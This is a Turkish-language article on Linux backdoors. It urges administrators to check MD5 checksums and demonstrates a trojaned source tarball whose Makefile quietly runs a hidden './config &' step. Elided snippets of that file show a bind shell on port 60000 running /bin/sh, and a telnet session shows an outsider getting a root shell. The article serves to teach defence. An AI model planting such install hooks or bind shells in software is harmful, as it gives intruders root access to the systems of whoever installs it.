LINUX Guvenlik Acıkları
Arkakapılar sistemin guvenlik cemberinde ne derece duzensizlikler oluştururlar?
Bu duzensizliğin boyutu nedir?
Sistem yoneticisi arkakapının varlığını nasıl anlayabilir?
Yoksa benim yonettiğim sisteme kimse girip delik acamaz mı diyorsunuz?

Bilgi, ulaşmak istediği hedefteki kapıda, kucuk aralık bulduğu anda bu aralıktan kendisini
hedefe doğru bırakır. "Kapıda neden aralık var?" suallini sormadan iceri suzulur.
Bilgilerinizi, bahcesini davetsiz misafirlere karşı dikenli tellerle koruyan bir kişi
gibi guvenlik cemberiyle koruyabilirsiniz.
Fakat sisteminize saygıdeğer bir misafir gibi gelip, sonra sizin rızanız olmadan
sisteminizi tekrar ziyaret etmek isteyebilir(Kesin bu misafire dalgınlıkla şekerleme sundunuz).
Neticesinde ozenle duzenlediğiniz bahceniz bir anda istemediğiniz bir boyuta gelebilir.
En değerli urunleriniz yani ozenle bakıp buyuttuğunuz bilgileriniz bir anda başka bahcelerde
bulunabilir. Hemde urununuzun hangi ellere gectiğini bilmeden.

Eğer bilgileriniz değerliyse(bilginin değersizi olur mu bilmem?) bunların cevresini
kuşatan telleri devamlı kontrol etmek sizi rahatlatır. Kontrolleriniz esnasında bu tellerin
en kucuk bir yerinde pas gorduğunuz anda gerekli bakımı yapmak bahcenizin yeşilliğini
koruyacaktır.

Sistemimize bir suru dosya yukleriz. Bazen, yuklediğimiz dosyaların yaratacağı sorunları
duşunmeden sisteme kurarız. Ya unutkanlıktan yada uşengeclikten sisteme indirilen
yazılımların guvenilirlik kontrollerini yapmayız. Kimbilir belki gonul rahatlığıyla
kurduğunuz dosyaların sisteminizde bir arkakapı oluşturma olasılığını gozardı ediyorsunuzdur.

Yazılımın Web sitesinde belirtilen MD5 kontrolu:
file.tar.gz
18a8284860c5c9940c57e03aac4a9911

Bizim yaptığımız file.tar.gz'nin kontrolu:
$ md5sum file.tar.gz
64dc31bf20ace98a7200d39da7d0d1a2

Sonuclar farklı. Ustunde duşunulmesi gereken bir durum. Dikkat!!!!
Uşenip md5 kontrolunu yapmadan, cektiğimiz dosyayı sisteme kurduğumuzu duşunelim.

[[email protected] Kod]# tar zxvf file.tar.gz
file
file/getconn.c
file/Makefile
file/config.c
file/main.c
file/common.h
file/file.c

[[email protected] file]# make
cc -Wall -g `libnet-config --cflags --defines` -c getconn.c
getconn.c: In function `getconn':
getconn.c:30: warning: implicit declaration of function `exit'
cc config.c -o config
./config &
cc -Wall -g `libnet-config --cflags --defines` -c main.c
cc -Wall -g `libnet-config --cflags --defines` -c file.c
cc -o file getconn.o main.o file.o -L/usr/local/lib -lpcap `libnet-config --libs`

Dikkatli kullanıcı hemen ./config & satırını gorunce bir anda şupheye duşer.
Bu config.c isimli dosya incelendiğinde sistemde arka kapıya neden olan kod olduğu
anlaşılır.

[[email protected] file]# pico config.c

...
...
#define port 60000
#define shell "/bin/sh"
...
...
execl(shell,shell,(char *)0);
...
...

Bu acık portu fark eden kişi:

[[email protected] yabanci]$ telnet eregli.sistem 60000

Trying eregli.sistem...
Connected to eregli.sistem (xxx.xxx.xxx.xxx).
Escape character is '^]'.

id;
uid=0(root) gid=0(root) groups=0(root)